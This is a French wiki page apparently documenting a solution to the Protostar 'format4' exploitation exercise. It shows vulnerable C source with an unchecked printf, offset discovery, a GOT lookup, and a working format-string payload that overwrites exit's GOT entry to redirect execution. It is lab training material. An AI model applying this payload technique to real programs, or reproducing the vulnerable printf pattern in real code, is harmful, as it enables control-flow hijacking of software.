Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
| — |
exploit_exercises_protostar:format4 [2017/04/09 15:33] (Version actuelle) |
||
|---|---|---|---|
| Ligne 1: | Ligne 1: | ||
| + | ====== Format 4 ====== | ||
| + | <code C> | ||
| + | #include <stdlib.h> | ||
| + | #include <unistd.h> | ||
| + | #include <stdio.h> | ||
| + | #include <string.h> | ||
| + | |||
| + | int target; | ||
| + | |||
| + | void hello() | ||
| + | { | ||
| + | printf("code execution redirected! you win\n"); | ||
| + | _exit(1); | ||
| + | } | ||
| + | |||
| + | void vuln() | ||
| + | { | ||
| + | char buffer[512]; | ||
| + | |||
| + | fgets(buffer, sizeof(buffer), stdin); | ||
| + | |||
| + | printf(buffer); | ||
| + | |||
| + | exit(1); | ||
| + | } | ||
| + | |||
| + | int main(int argc, char **argv) | ||
| + | { | ||
| + | vuln(); | ||
| + | } | ||
| + | </code> | ||
| + | |||
| + | Enfin une vraie format string :-) On va devoir rediriger notre programme vers la fonction ''hello''. Pour cela, on va re-écrire dans la GOT l'adresse de la fonction ''exit'' qui est appelée juste après notre ''printf''. | ||
| + | |||
| + | <code> | ||
| + | user@protostar:/opt/protostar/bin$ nm ./format4 | grep hello | ||
| + | 080484b4 T hello | ||
| + | user@protostar:/opt/protostar/bin$ objdump -R ./format4 | ||
| + | |||
| + | ./format4: file format elf32-i386 | ||
| + | |||
| + | DYNAMIC RELOCATION RECORDS | ||
| + | OFFSET TYPE VALUE | ||
| + | 080496fc R_386_GLOB_DAT __gmon_start__ | ||
| + | 08049730 R_386_COPY stdin | ||
| + | 0804970c R_386_JUMP_SLOT __gmon_start__ | ||
| + | 08049710 R_386_JUMP_SLOT fgets | ||
| + | 08049714 R_386_JUMP_SLOT __libc_start_main | ||
| + | 08049718 R_386_JUMP_SLOT _exit | ||
| + | 0804971c R_386_JUMP_SLOT printf | ||
| + | 08049720 R_386_JUMP_SLOT puts | ||
| + | 08049724 R_386_JUMP_SLOT exit | ||
| + | user@protostar:/opt/protostar/bin$ for i in {1..200}; do if echo BBBB%$i\$x | ./format4 | grep 4242; then echo $i; fi; done | ||
| + | BBBB42424242 | ||
| + | 4 | ||
| + | </code> | ||
| + | |||
| + | On va donc écrire ''0x080484b4'' à l'adresse ''0x08049724''. | ||
| + | |||
| + | <code> | ||
| + | jeremie-laptop:FormatString tlk$ ./FormatString.py 4 08049724 080484b4 | ||
| + | Your payload : | ||
| + | \x24\x97\x04\x08\x25\x97\x04\x08\x26\x97\x04\x08\x27\x97\x04\x08%164c%4$hhn%208c%5$hhn%128c%6$hhn%4c%7$hhn | ||
| + | </code> | ||
| + | |||
| + | <code> | ||
| + | user@protostar:/opt/protostar/bin$ python -c 'print "\x24\x97\x04\x08\x25\x97\x04\x08\x26\x97\x04\x08\x27\x97\x04\x08%164c%4$hhn%208c%5$hhn%128c%6$hhn%4c%7$hhn"' | ./format4 | ||
| + | $%&' d $ | ||
| + | code execution redirected! you win | ||
| + | </code> | ||